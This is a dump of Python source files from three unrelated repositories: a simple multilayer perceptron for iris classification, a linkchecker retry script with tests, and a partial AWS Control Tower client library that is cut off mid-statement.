# print(graphNow.roots[0].output) return graphNow.roots[0].output # Root is a Node # assign it with appropiate order and layer def addRoot(self, root): root.layer = self.layer root.order = len(self.roots) self.roots.append(root) # Bias is a Node # assign it with appropiate order and layer def addBias(self, bias): bias.layer = self.layer bias.order = -1 self.bias = bias # use this to update layer, instead of directly change its attribute def updateLayer(self, layer): self.layer = layer for root in self.roots: root.layer = layer self.bias.layer = layer # Child is a graph # assign it with appropiate order and layer def addChild(self, children): children.updateLayer(self.layer + 1) self.children = children # add edge from node for currentRoot in self.roots: for childRoot in children.roots: currentRoot.addEdge(Edge()) # add edge from bias for childRoot in children.roots: self.bias.addEdge(Edge()) def updateDw(self, learningRate): for edge in self.bias.edges: edge.updateWeight(learningRate) for root in self.roots: for edge in root.edges: edge.updateWeight(learningRate) if (self.children): self.children.updateDw(learningRate) def printGraph(self): if self.children is None: # output layer for currentRoot in self.roots: print(currentRoot.output, '-> output') else: for currentRoot in self.roots: i = 0 for childRoot in self.children.roots: print(str(currentRoot.layer) + '.' + str(currentRoot.order) + ' (' + str(currentRoot.output) + ') --(' + str(currentRoot.edges[i].weight) + ' | ' + str(currentRoot.edges[i].dw) + ')--> ' + str(childRoot.layer) + '.' + str(childRoot.order) + ' (' + str(childRoot.output) + ')') i = i + 1 i = 0 for childRoot in self.children.roots: print(str(self.bias.layer) + '.' + str(self.bias.order) + ' (' + str(self.bias.output) + ') --(' + str(self.bias.edges[i].weight) + ' | ' + str(self.bias.edges[i].dw) +')--> ' + str(childRoot.layer) + '.' + str(childRoot.order) + ' (' + str(childRoot.output) + ')') i = i + 1 self.children.printGraph() def printModel(self): if self.children is not None: for currentRoot in self.roots: i = 0 for childRoot in self.children.roots: print(str(currentRoot.layer) + '.' + str(currentRoot.order) + ' --(' + str(currentRoot.edges[i].weight) + ')--> ' + str(childRoot.layer) + '.' + str(childRoot.order)) i = i + 1 i = 0 for childRoot in self.children.roots: print(str(self.bias.layer) + '.' + str(self.bias.order) + ' --(' + str(self.bias.edges[i].weight) + ')--> ' + str(childRoot.layer) + '.' + str(childRoot.order)) i = i + 1 self.children.printModel()
{"/main.py": ["/mlp.py"], "/nn.py": ["/graph.py"], "/mlp.py": ["/nn.py"]}
70,187
Rikadewi/artificial-neural-network
refs/heads/master
/main.py
from mlp import MultiLayerPerceptron mlp = MultiLayerPerceptron() mlp.printModel()
{"/main.py": ["/mlp.py"], "/nn.py": ["/graph.py"], "/mlp.py": ["/nn.py"]}
70,188
Rikadewi/artificial-neural-network
refs/heads/master
/nn.py
import pandas as pd import numpy as np import math from graph import * from copy import deepcopy class NeuralNetwork: # ATTRIBUTE # petal_length # nHiddenLayer, default = 1 number of hidden layer in one NN # nNode, default = 1 number of node in hidden layer # graph, translated graph from number of features, hiddenlayer and node # constructor def __init__(self, nFeature, nHiddenLayer, nNode): self.nHiddenLayer = nHiddenLayer self.nNode = nNode self.makeStucture(nFeature) #List Data yang masuk berupa array feature [xo,x1...xn] #dan list Weight [w0,w1...wn] def makeSingleGraph(self, nRoot): graph = Graph() graph.addBias(Node(1)) for i in range (0, nRoot): graph.addRoot(Node()) return graph def makeStucture(self, nFeature): #brp banyak feature, hidden layer, unit di hidden layer graphs= [] #buat graph pertama untuk input layer graph = self.makeSingleGraph(nFeature) graphs.append(graph) #buat graph untuk hidden layer for i in range (0, self.nHiddenLayer): graph = self.makeSingleGraph(self.nNode) graphs[len(graphs)-1].addChild(graph) graphs.append(graphs[len(graphs)-1].children) #buat graph untuk output layer graph = self.makeSingleGraph(1) graphs[len(graphs)-1].addChild(graph) self.graph = graphs[0] def sigmaFunction(self, listData, listWeight): sum = 0 for i in range (0, len(listData)): sum += listData[i]*listWeight[i] return sum def sigmoidFunction(self, data): return 1/(math.exp(-data)+1) def deltaW(self, learningRate, target, output, input): return (target-output)*(1-output)*output*input*learningRate def errorValue(self, target, output): return 0.5*pow((target-output),2) # x (array of integer), array of feature datas def feedForward(self, x): # ngisi output (root) dari sebuah graph # ngisi x ke input layer for i in range (0, len(x)): self.graph.roots[i].output = x[i] #logic: loop semua root yang ada di dalam satu graph, kalikan dengan output graphNow = self.graph nextGraph = self.graph.children while nextGraph != None: for i in range (0, len(nextGraph.roots)): result = 0 for j in range (0, len(graphNow.roots)): result+=graphNow.roots[j].edges[i].weight*graphNow.roots[j].output result+=graphNow.bias.output*graphNow.bias.edges[i].weight result = self.sigmoidFunction(result) nextGraph.roots[i].output = result graphNow = nextGraph nextGraph = nextGraph.children return self.graph def updateAllDw(self, learningRate): if self.graph: self.graph.updateDw(learningRate) def getGraphOutput(self): if (self.graph): return self.graph.getLastOutput() # y (integer), target predict data def backPropagation(self, y): self.graph = self._backPropagation(self.graph, y) # private method of back propagation def _backPropagation(self, graph, y): if not graph.isOutput(): childGraph = self._backPropagation(graph.children, y) for root in graph.roots: i = 0 for edge in root.edges: # all dw before sumDwChild = 0 if childGraph.isOutput(): sumDwChild = -(y - childGraph.roots[i].output)*childGraph.roots[i].output else: for edgeChild in childGraph.roots[i].edges: sumDwChild = edgeChild.dwBefore*edgeChild.weight edge.dwBefore = sumDwChild*root.output*(1 - childGraph.roots[i].output) edge.dw += sumDwChild*root.output*(1 - childGraph.roots[i].output) i = i + 1 # update bias i = 0 for edge in graph.bias.edges: # all dw before sumDwChild = 0 if childGraph.isOutput(): sumDwChild = -(y - childGraph.roots[i].output)*childGraph.roots[i].output else: for edgeChild in childGraph.roots[i].edges: sumDwChild = edgeChild.dwBefore*edgeChild.weight edge.dwBefore = sumDwChild*graph.bias.output*(1 - childGraph.roots[i].output) edge.dw += sumDwChild*graph.bias.output*(1 - childGraph.roots[i].output) i = i + 1 graph.children = childGraph return graph
{"/main.py": ["/mlp.py"], "/nn.py": ["/graph.py"], "/mlp.py": ["/nn.py"]}
70,189
Rikadewi/artificial-neural-network
refs/heads/master
/mlp.py
import pandas as pd import numpy as np from sklearn.model_selection import train_test_split from nn import NeuralNetwork class MultiLayerPerceptron: # ATTRIBUTE # # df, full dataframe # target, target attribute # nHiddenLayer, default = 1 number of hidden layer in one NN # nNode, default = 1 number of node in hidden layer # constructor def __init__(self, filename='iris', target='species', learningRate=0.1, nHiddenLayer = 3, nNode = 10, batchsize=30, errorTreshold=0.3, maxIteration=100, seed=1742): self.readCsv(filename, target) self.learningRate = learningRate self.nHiddenLayer = nHiddenLayer self.nNode = nNode self.assignNeuralNetwork() self.seed = seed self.splitDf() self.miniBatch(batchsize, errorTreshold, maxIteration) # read file csv with given filename in folder data def readCsv(self, filename, target): self.df = pd.read_csv('data/' + filename + '.csv') self.target = target #assign neural network in self attribute def assignNeuralNetwork(self): self.nn = [] self.newdf = [] self.unique = self.df[self.target].unique().tolist() for u in self.unique: newdf = self.df.copy() newdf.loc[newdf[self.target]!=u, self.target] = 0 newdf.loc[newdf[self.target]==u, self.target] = 1 nFeature = len(self.df.columns)-1 new_nn = NeuralNetwork(nFeature, self.nHiddenLayer, self.nNode) self.nn.append(new_nn) self.newdf.append(newdf) def dropAttr(self, df, attr): return df.drop(columns=attr) def makeBatches(self, batchsize): numofbatches = int(self.df.shape[0]/batchsize) remainder = self.df.shape[0]%batchsize batches = [] for i in range (0, numofbatches): newbatch = self.dropAttr(self.df, self.target)[i*batchsize: (i+1)*batchsize].values.tolist() batches.append(newbatch) if (remainder): newbatch = self.dropAttr(self.df, self.target)[(i+1)*batchsize : (i+1)*batchsize + remainder].values.tolist() batches.append(newbatch) return batches def miniBatch(self, batchsize, errorTreshold, maxIteration): batches = self.makeBatches(batchsize) for i in range(0, len(self.nn)): error = 100 iteration = 0 while(iteration < maxIteration) and (error > errorTreshold): j = 0 idxbatch = 0 while (error > errorTreshold) and (idxbatch < len(batches)): errorlist = [] for x in batches[idxbatch]: self.nn[i].feedForward(x) self.nn[i].backPropagation(self.newdf[i][self.target][j]) # self.nn[i].graph.printGraph() errorlist.append(self.nn[i].errorValue(self.newdf[i][self.target][j], self.nn[i].getGraphOutput())) j += 1 idxbatch += 1 self.nn[i].updateAllDw(self.learningRate) error = np.sum(errorlist) iteration += 1 #x is array of feature data for predict def predict(self, x): predictCandidate = [] for nn in self.nn : output = nn.feedForward(x).getLastOutput() predictCandidate.append(output) predictIndex = predictCandidate.index(max(predictCandidate)) return self.unique[predictIndex] def splitDf(self): self.df , self.test = train_test_split(self.df, test_size = 0.2, random_state=self.seed) self.df = (self.df).reset_index(drop=True) self.test = (self.test).reset_index(drop=True) def accuration(self): hit = 0 testDf = self.test.copy() testDataSet = self.dropAttr(testDf, self.target).values.tolist() testValidationSet = testDf[self.target].values.tolist() for i in range(len(testDataSet)): if(self.predict(testDataSet[i]) == testValidationSet[i]): hit += 1 return float(hit) / float(len(testValidationSet)) def printModel(self): for nn in self.nn: nn.graph.printModel() print("\naccuracy:", self.accuration())
{"/main.py": ["/mlp.py"], "/nn.py": ["/graph.py"], "/mlp.py": ["/nn.py"]}
70,191
terryyin/linkchecker-tryer
refs/heads/master
/linkchecker_tryer.py
import re, sys, time, os import fileinput from subprocess import call, STDOUT def parse_linkchecker_output(linkchecker_output): pattern = re.compile(r"^URL\s+\`(?P<url>.*?)\'$\n" + r"(^Name\s+\`(?P<name>.*?)\'$\n)?" + r"^Parent URL\s+(?P<parent>.*?)$\n"+ r".*?^Result\s+(?P<result>.*?)$" , flags=re.M + re.S) de_quote = re.compile(r"\`(.*)\'") def read_one(block): return { "url":block.group("url"), "name":block.group("name"), "parent_url":block.group("parent"), "message":de_quote.sub(r'\1', block.group(0))} return {str(x.group("url")):read_one(x) for x in pattern.finditer(linkchecker_output)}.values() def bad_link(link): with open(os.devnull, 'w') as FNULL: return call(["linkchecker", "-r0", link["url"]], stdout=FNULL, stderr=STDOUT) != 0 def filter_out_good_links(links, filter_function): if links: time.sleep(30) return filter(filter_function, links) def main(): result = reduce( filter_out_good_links, [bad_link] * 3, parse_linkchecker_output( ''.join(fileinput.input()))) print("\n") print("-------------------------------------------------") print("----------=========FINAL RESULT========----------") print("-------------------------------------------------") for r in result: print(r["message"]) print if result: sys.exit(1)
{"/tests/test_linkchecker_output_parser.py": ["/linkchecker_tryer.py"]}
70,192
terryyin/linkchecker-tryer
refs/heads/master
/tests/test_linkchecker_output_parser.py
import unittest from linkchecker_tryer import parse_linkchecker_output, filter_out_good_links raw_link_checker_output = ''' URL `https://link' Name `name' Parent URL parent_url Check time 0.059 seconds Result Error: 404 Not Found ''' raw_link_checker_output2 = ''' URL `https://link' Name `name' Parent URL parent_url 2 Check time 0.059 seconds Result Error: 404 Not Found ''' raw_link_checker_output3 = ''' URL `http://data-vocabulary.org/Event' Parent URL parent_url Real URL http://data-vocabulary.org/Event Check time 1.819 seconds Size 49B Result Error: 404 Not Found ''' expected_message = '''URL http://data-vocabulary.org/Event Parent URL parent_url Real URL http://data-vocabulary.org/Event Check time 1.819 seconds Size 49B Result Error: 404 Not Found''' class Test_parse_raw_output(unittest.TestCase): def test_parse_empty_output(self): result = parse_linkchecker_output("") self.assertEqual(result, []) def test_parse_one_link(self): result = parse_linkchecker_output(raw_link_checker_output) del result[0]["message"] self.assertEqual(result, [{"url":"https://link", "name":"name", "parent_url":"parent_url"}]) def test_no_duplicates(self): result = parse_linkchecker_output(raw_link_checker_output + "\n" +raw_link_checker_output2) del result[0]["message"] self.assertEqual(result, [{"url":"https://link", "name":"name", "parent_url":"parent_url 2"}]) def test_when_no_name_given(self): result = parse_linkchecker_output(raw_link_checker_output3) del result[0]["message"] self.assertEqual(result, [{"url":"http://data-vocabulary.org/Event", "name":None, "parent_url":"parent_url"}]) def test_when_no_name_given(self): result = parse_linkchecker_output(raw_link_checker_output3) self.assertEqual(result[0]["message"], expected_message)
{"/tests/test_linkchecker_output_parser.py": ["/linkchecker_tryer.py"]}
70,235
schubergphilis/controltowerlib
refs/heads/master
/controltowerlib/controltowerlib.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # File: controltowerlib.py # # Copyright 2020 Costas Tyfoxylos # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to # deal in the Software without restriction, including without limitation the # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or # sell copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER # DEALINGS IN THE SOFTWARE. # pylint: disable=too-many-lines """ Main code for controltowerlib. .. _Google Python Style Guide: http://google.github.io/styleguide/pyguide.html """ import copy import json import logging import time from functools import lru_cache, wraps from time import sleep import boto3 import botocore import requests from awsauthenticationlib import AwsAuthenticator from awsauthenticationlib.awsauthenticationlib import LoggerMixin from opnieuw import retry from .controltowerlibexceptions import (UnsupportedTarget, OUCreating, NoServiceCatalogAccess, ServiceCallFailed, ControlTowerBusy, ControlTowerNotDeployed, PreDeployValidationFailed, EmailCheckFailed, EmailInUse, UnavailableRegion, RoleCreationFailure) from .resources import (LOGGER, LOGGER_BASENAME, ServiceControlPolicy, CoreAccount, ControlTowerAccount, ControlTowerOU, AccountFactory, OrganizationsOU, GuardRail, CREATING_ACCOUNT_ERROR_MESSAGE) __author__ = '''Costas Tyfoxylos <ctyfoxylos@schubergphilis.com>''' __docformat__ = '''google''' __date__ = '''18-02-2020''' __copyright__ = '''Copyright 2020, Costas Tyfoxylos''' __credits__ = ["Costas Tyfoxylos"] __license__ = '''MIT''' __maintainer__ = '''Costas Tyfoxylos''' __email__ = '''<ctyfoxylos@schubergphilis.com>''' __status__ = '''Development''' # "Prototype", "Development", "Production". class ControlTower(LoggerMixin): # pylint: disable=too-many-instance-attributes,too-many-public-methods """Models Control Tower by wrapping around service catalog.""" api_content_type = 'application/x-amz-json-1.1' api_user_agent = 'aws-sdk-js/2.528.0 promise' supported_targets = ['listManagedOrganizationalUnits', 'manageOrganizationalUnit', 'deregisterOrganizationalUnit', 'listManagedAccounts', 'getGuardrailComplianceStatus', 'describeManagedOrganizationalUnit', 'listGuardrailsForTarget', 'getAvailableUpdates', 'describeCoreService', 'getAccountInfo', 'listEnabledGuardrails', 'listGuardrails', 'listOrganizationalUnitsForParent', 'listDriftDetails', 'getLandingZoneStatus', 'setupLandingZone', 'getHomeRegion', 'listGuardrailViolations', 'getCatastrophicDrift', 'getGuardrailComplianceStatus', 'describeAccountFactoryConfig', 'performPreLaunchChecks', 'deleteLandingZone' ] core_account_types = ['PRIMARY', 'LOGGING', 'SECURITY'] def validate_availability(method): # noqa """Validation decorator.""" @wraps(method) def wrap(*args, **kwargs): """Inner wrapper decorator.""" logger = logging.getLogger(f'{LOGGER_BASENAME}.validation_decorator') contol_tower_instance = args[0] logger.debug('Decorating method: %s', method) if not contol_tower_instance.is_deployed: raise ControlTowerNotDeployed if contol_tower_instance.busy: raise ControlTowerBusy return method(*args, **kwargs) # pylint: disable=not-callable return wrap def __init__(self, arn, settling_time=90): self.aws_authenticator = AwsAuthenticator(arn) self.service_catalog = boto3.client('servicecatalog', **self.aws_authenticator.assumed_role_credentials) self.organizations = boto3.client('organizations', **self.aws_authenticator.assumed_role_credentials) self.session = self._get_authenticated_session() self._region = None self._is_deployed = None self.url = f'https://{self.region}.console.aws.amazon.com/controltower/api/controltower' self._iam_admin_url = 'https://eu-west-1.console.aws.amazon.com/controltower/api/iamadmin' self._account_factory_ = None self.settling_time = settling_time self._root_ou = None self._update_data_ = None self._core_accounts = None @property def _account_factory(self): if any([not self.is_deployed, self.percentage_complete != 100]): return None if self._account_factory_ is None: self._account_factory_ = self._get_account_factory(self.service_catalog) return self._account_factory_ @property def is_deployed(self): """The deployment status of control tower.""" if not self._is_deployed: caller_region = self.aws_authenticator.region url = f'https://{caller_region}.console.aws.amazon.com/controltower/api/controltower' payload = self._get_api_payload(content_string={}, target='getLandingZoneStatus', region=caller_region) self.logger.debug('Trying to get the deployed status of the landing zone with payload "%s"', payload) response = self.session.post(url, json=payload) if not response.ok: self.logger.error('Failed to get the deployed status of the landing zone with response status ' '"%s" and response text "%s"', response.status_code, response.text) raise ServiceCallFailed(payload) not_deployed_states = ('NOT_STARTED', 'DELETE_COMPLETED', 'DELETE_FAILED') self._is_deployed = response.json().get('LandingZoneStatus') not in not_deployed_states return self._is_deployed @property def region(self): """Region.""" if not self.is_deployed: self._region = self.aws_authenticator.region return self._region if self._region is None: caller_region = self.aws_authenticator.region url = f'https://{caller_region}.console.aws.amazon.com/controltower/api/controltower' payload = self._get_api_payload(content_string={}, target='getHomeRegion', region=caller_region) response = self.session.post(url, json=payload) if not response.ok: raise ServiceCallFailed(payload) self._region = response.json().get('HomeRegion') or self.aws_authenticator.region return self._region @staticmethod def get_available_regions(): """The regions that control tower can be active in. Returns: regions (list): A list of strings of the regions that control tower can be active in. """ url = 'https://api.regional-table.region-services.aws.a2z.com/index.json' response = requests.get(url) if not response.ok: LOGGER.error('Failed to retrieve the info') return [] return [entry.get('id', '').split(':')[1] for entry in response.json().get('prices') if entry.get('id').startswith('controltower')] @property @validate_availability def core_accounts(self): """The core accounts of the landing zone. Returns: core_accounts (list): A list of the primary, logging and security account. """ if self._core_accounts is None: core_accounts = [] for account_type in self.core_account_types: payload = self._get_api_payload(content_string={'AccountType': account_type}, target='describeCoreService') response = self.session.post(self.url, json=payload) if not response.ok: raise ServiceCallFailed(f'Service call failed with payload {payload}') core_accounts.append(CoreAccount(self, account_type, response.json())) self._core_accounts = core_accounts return self._core_accounts @property @validate_availability def root_ou(self): """The root ou of control tower. Returns: root_ou (ControlTowerOU): The root ou object. """ if self._root_ou is None: self._root_ou = self.get_organizational_unit_by_name('Root') return self._root_ou def _get_authenticated_session(self): return self.aws_authenticator.get_control_tower_authenticated_session() @property def _active_artifact(self): artifacts = self.service_catalog.list_provisioning_artifacts(ProductId=self._account_factory.product_id) return next((artifact for artifact in artifacts.get('ProvisioningArtifactDetails', []) if artifact.get('Active')), None) @staticmethod def _get_account_factory(service_catalog_client): filter_ = {'Owner': ['AWS Control Tower']} try: return AccountFactory(service_catalog_client, service_catalog_client.search_products(Filters=filter_ ).get('ProductViewSummaries', [''])[0]) except IndexError: raise NoServiceCatalogAccess(('Please make sure the role used has access to the "AWS Control Tower Account ' 'Factory Portfolio" in Service Catalog under "Groups, roles, and users"')) def _validate_target(self, target): if target not in self.supported_targets: raise UnsupportedTarget(target) return target def _get_api_payload(self, # pylint: disable=too-many-arguments content_string, target, method='POST', params=None, path=None, region=None): target = self._validate_target(target) payload = {'contentString': json.dumps(content_string), 'headers': {'Content-Type': self.api_content_type, 'X-Amz-Target': f'AWSBlackbeardService.{target[0].capitalize() + target[1:]}', 'X-Amz-User-Agent': self.api_user_agent}, 'method': method, 'operation': target, 'params': params or {}, 'path': path or '/', 'region': region or self.region} return copy.deepcopy(payload) def _get_paginated_results(self, # pylint: disable=too-many-arguments content_payload, target, object_group=None, object_type=None, method='POST', params=None, path=None, region=None, next_token_marker='NextToken'): payload = self._get_api_payload(content_string=content_payload, target=target, method=method, params=params, path=f'/{path}/' if path else '/', region=region) response, next_token = self._get_partial_response(payload, next_token_marker) if not object_group: yield response.json() else: for data in response.json().get(object_group, []): if object_type: yield object_type(self, data) else: yield data while next_token: content_string = copy.deepcopy(json.loads(payload.get('contentString'))) content_string.update({next_token_marker: next_token}) payload.update({'contentString': json.dumps(content_string)}) response, next_token = self._get_partial_response(payload, next_token_marker) if not object_group: yield response.json() else: for data in response.json().get(object_group, []): if object_type: yield object_type(self, data) else: yield data def _get_partial_response(self, payload, next_token_marker): response = self.session.post(self.url, json=payload) if not response.ok: self.logger.debug('Failed getting partial response with payload :%s\n', payload) self.logger.debug('Response received :%s\n', response.content) raise ValueError(response.text) next_token = response.json().get(next_token_marker) return response, next_token @property def _update_data(self): if self._update_data_ is None: self._update_data_ = next(self._get_paginated_results(content_payload={}, target='getAvailableUpdates')) return self._update_data_ @property @validate_availability def baseline_update_available(self): """Baseline update available.""" return self._update_data.get('BaselineUpdateAvailable') @property @validate_availability def guardrail_update_available(self): """Guardrail update available.""" return self._update_data.get('GuardrailUpdateAvailable') @property @validate_availability def landing_zone_update_available(self): """Landing Zone update available.""" return self._update_data.get('LandingZoneUpdateAvailable') @property @validate_availability def service_landing_zone_version(self): """Service landing zone version.""" return self._update_data.get('ServiceLandingZoneVersion') @property @validate_availability def user_landing_zone_version(self): """User landing zone version.""" return self._update_data.get('UserLandingZoneVersion') @property @validate_availability def landing_zone_version(self): """Landing zone version.""" return self._update_data.get('UserLandingZoneVersion') @property @validate_availability def organizational_units(self): """The organizational units under control tower. Returns: organizational_units (OrganizationalUnit): A list of organizational units objects under control tower's control. """ return self._get_paginated_results(content_payload={'MaxResults': 20}, target='listManagedOrganizationalUnits', object_type=ControlTowerOU, object_group='ManagedOrganizationalUnitList', next_token_marker='NextToken') @validate_availability def register_organizations_ou(self, name): """Registers an Organizations OU under control tower. Args: name (str): The name of the Organizations OU to register to Control Tower. Returns: result (bool): True if successfull, False otherwise. """ if self.get_organizational_unit_by_name(name): self.logger.info('OU "%s" is already registered with Control Tower.', name) return True org_ou = self.get_organizations_ou_by_name(name) if not org_ou: self.logger.error('OU "%s" does not exist under organizations.', name) return False return self._register_org_ou_in_control_tower(org_ou) @validate_availability def create_organizational_unit(self, name): """Creates a Control Tower managed organizational unit. Args: name (str): The name of the OU to create. Returns: result (bool): True if successfull, False otherwise. """ self.logger.debug('Trying to create OU :"%s" under root ou', name) try: response = self.organizations.create_organizational_unit(ParentId=self.root_ou.id, Name=name) except botocore.exceptions.ClientError as err: status = err.response["ResponseMetadata"]["HTTPStatusCode"] error_code = err.response["Error"]["Code"] error_message = err.response["Error"]["Message"] if not status == 200: self.logger.error('Failed to create OU "%s" under Organizations with error code %s: %s', name, error_code, error_message) return False org_ou = OrganizationsOU(response.get('OrganizationalUnit', {})) self.logger.debug(response) return self._register_org_ou_in_control_tower(org_ou) def _register_org_ou_in_control_tower(self, org_ou): self.logger.debug('Trying to move management of OU under Control Tower') payload = self._get_api_payload(content_string={'OrganizationalUnitId': org_ou.id, 'OrganizationalUnitName': org_ou.name, 'ParentOrganizationalUnitId': self.root_ou.id, 'ParentOrganizationalUnitName': self.root_ou.name, 'OrganizationalUnitType': 'CUSTOM'}, target='manageOrganizationalUnit') response = self.session.post(self.url, json=payload) if not response.ok: self.logger.error('Failed to register OU "%s" to Control Tower with response status "%s" ' 'and response text "%s"', org_ou.name, response.status_code, response.text) return False self.logger.debug('Giving %s seconds time for the guardrails to be applied', self.settling_time) time.sleep(self.settling_time) self.logger.debug('Successfully moved management of OU "%s" under Control Tower', org_ou.name) return response.ok @validate_availability def delete_organizational_unit(self, name): """Deletes a Control Tower managed organizational unit. Args: name (str): The name of the OU to delete. Returns: result (bool): True if successfull, False otherwise. """ organizational_unit = self.get_organizational_unit_by_name(name) if not organizational_unit: self.logger.error('No organizational unit with name :"%s" registered with Control Tower', name) return False payload = self._get_api_payload(content_string={'OrganizationalUnitId': organizational_unit.id}, target='deregisterOrganizationalUnit') self.logger.debug('Trying to unregister OU "%s" with payload "%s"', name, payload) response = self.session.post(self.url, json=payload) if not response.ok: self.logger.error('Failed to unregister OU "%s" with response status "%s" and response text "%s"', name, response.status_code, response.text) return False self.logger.debug('Successfully unregistered management of OU "%s" from Control Tower', name) self.logger.debug('Trying to delete OU "%s" from Organizations', name) response = self.organizations.delete_organizational_unit(OrganizationalUnitId=organizational_unit.id) self.logger.debug(response) return bool(response.get('ResponseMetadata', {}).get('HTTPStatusCode') == 200) @validate_availability def get_organizational_unit_by_name(self, name): """Gets a Control Tower managed Organizational Unit by name. Args: name (str): The name of the organizational unit to retrieve. Returns: result (ControlTowerOU): A OU object on success, None otherwise. """ return next((ou for ou in self.organizational_units if ou.name == name), None) @validate_availability def get_organizational_unit_by_id(self, id_): """Gets a Control Tower managed Organizational Unit by id. Args: id_ (str): The id of the organizational unit to retrieve. Returns: result (ControlTowerOU): A OU object on success, None otherwise. """ return next((ou for ou in self.organizational_units if ou.id == id_), None) @property @validate_availability def organizations_ous(self): """The organizational units under Organizations. Returns: organizational_units (OrganizationsOU): A list of organizational units objects under Organizations. """ response = self.organizations.list_organizational_units_for_parent(ParentId=self.root_ou.id) return [OrganizationsOU(data) for data in response.get('OrganizationalUnits', [])] @validate_availability def get_organizations_ou_by_name(self, name): """Gets an Organizations managed Organizational Unit by name. Args: name (str): The name of the organizational unit to retrieve. Returns: result (OrganizationsOU): A OU object on success, None otherwise. """ return next((ou for ou in self.organizations_ous if ou.name == name), None) @validate_availability def get_organizations_ou_by_id(self, id_): """Gets an Organizations managed Organizational Unit by id. Args: id_ (str): The id of the organizational unit to retrieve. Returns: result (OrganizationsOU): A OU object on success, None otherwise. """ return next((ou for ou in self.organizations_ous if ou.id == id_), None) @validate_availability def get_organizations_ou_by_arn(self, arn): """Gets an Organizations managed Organizational Unit by arn. Args: arn (str): The arn of the organizational unit to retrieve. Returns: result (OrganizationsOU): A OU object on success, None otherwise. """ return next((ou for ou in self.organizations_ous if ou.arn == arn), None) @property @validate_availability def accounts(self): """The accounts under control tower. Returns: accounts (Account): A list of account objects under control tower's control. """ return self._get_paginated_results(content_payload={}, target='listManagedAccounts', object_type=ControlTowerAccount, object_group='ManagedAccountList', next_token_marker='NextToken') @property def _service_catalog_accounts_data(self): products = self.service_catalog.search_provisioned_products() return [data for data in products.get('ProvisionedProducts', []) if data.get('Type', '') == 'CONTROL_TOWER_ACCOUNT'] @validate_availability def get_available_accounts(self): """Retrieves the available accounts from control tower. Returns: accounts (Account): A list of available account objects under control tower's control. """ return self._filter_for_status('AVAILABLE') @validate_availability def get_erroring_accounts(self): """Retrieves the erroring accounts from control tower. Returns: accounts (Account): A list of erroring account objects under control tower's control. """ return self._filter_for_status('ERROR') @validate_availability def get_accounts_with_available_updates(self): """Retrieves the accounts that have available updates from control tower. Returns: accounts (Account): A list of account objects under control tower's control with available updates. """ return [account for account in self.accounts if account.has_available_update] @validate_availability def get_updated_accounts(self): """Retrieves the accounts that have no available updates from control tower. Returns: accounts (Account): A list of account objects under control tower's control with no available updates. """ return [account for account in self.accounts if not account.has_available_update] def get_changing_accounts(self): """Retrieves the under change accounts from control tower. Returns: accounts (Account): A list of under change account objects under control tower's control. """ products = self.service_catalog.search_provisioned_products() return [ControlTowerAccount(self, {'AccountId': data.get('PhysicalId')}) for data in products.get('ProvisionedProducts', []) if all([data.get('Type', '') == 'CONTROL_TOWER_ACCOUNT', data.get('Status', '') == 'UNDER_CHANGE'])] def _filter_for_status(self, status): return [account for account in self.accounts if account.service_catalog_status == status] def _get_by_attribute(self, attribute, value): return next((account for account in self.accounts if getattr(account, attribute) == value), None) def _get_service_catalog_data_by_account_id(self, account_id): return next((data for data in self._service_catalog_accounts_data if data.get('PhysicalId') == account_id), None) @validate_availability def get_account_by_name(self, name): """Retrieves an account by name. Returns: account (Account): An account object that matches the name or None. """ return self._get_by_attribute('name', name) @validate_availability def get_account_by_id(self, id_): """Retrieves an account by id. Returns: account (Account): An account object that matches the id or None. """ return self._get_by_attribute('id', id_) @validate_availability def get_account_by_arn(self, arn): """Retrieves an account by arn. Returns: account (Account): An account object that matches the arn or None. """ return self._get_by_attribute('arn', arn) @retry(retry_on_exceptions=OUCreating, max_calls_total=7, retry_window_after_first_call_in_seconds=60) @validate_availability def create_account(self, # pylint: disable=too-many-arguments account_name, account_email, organizational_unit, product_name=None, sso_first_name=None, sso_last_name=None, sso_user_email=None): """Creates a Control Tower managed account. Args: account_name (str): The name of the account. account_email (str): The email of the account. organizational_unit (str): The organizational unit that the account should be under. product_name (str): The product name, if nothing is provided it uses the account name. sso_first_name (str): The first name of the SSO user, defaults to "Control" sso_last_name (str): The last name of the SSO user, defaults to "Tower" sso_user_email (str): The email of the sso, if nothing is provided it uses the account email. Returns: result (bool): True on success, False otherwise. """ product_name = product_name or account_name sso_user_email = sso_user_email or account_email sso_first_name = sso_first_name or 'Control' sso_last_name = sso_last_name or 'Tower' if not self.get_organizational_unit_by_name(organizational_unit): if not self.create_organizational_unit(organizational_unit): self.logger.error('Unable to create the organizational unit!') return False arguments = {'ProductId': self._account_factory.product_id, 'ProvisionedProductName': product_name, 'ProvisioningArtifactId': self._active_artifact.get('Id'), 'ProvisioningParameters': [{'Key': 'AccountName', 'Value': account_name}, {'Key': 'AccountEmail', 'Value': account_email}, {'Key': 'SSOUserFirstName', 'Value': sso_first_name}, {'Key': 'SSOUserLastName', 'Value': sso_last_name}, {'Key': 'SSOUserEmail', 'Value': sso_user_email}, {'Key': 'ManagedOrganizationalUnit', 'Value': organizational_unit}]} try: response = self.service_catalog.provision_product(**arguments) except botocore.exceptions.ClientError as err: if CREATING_ACCOUNT_ERROR_MESSAGE in err.response['Error']['Message']: raise OUCreating raise response_metadata = response.get('ResponseMetadata', {}) success = response_metadata.get('HTTPStatusCode') == 200 if not success: self.logger.error('Failed to create account, response was :%s', response_metadata) return False # Making sure that eventual consistency is not a problem here, # we wait for control tower to be aware of the service catalog process while not self.busy: time.sleep(1) return True @property @validate_availability def service_control_policies(self): """The service control policies under organization. Returns: service_control_policies (list): A list of SCPs under the organization. """ return [ServiceControlPolicy(data) for data in 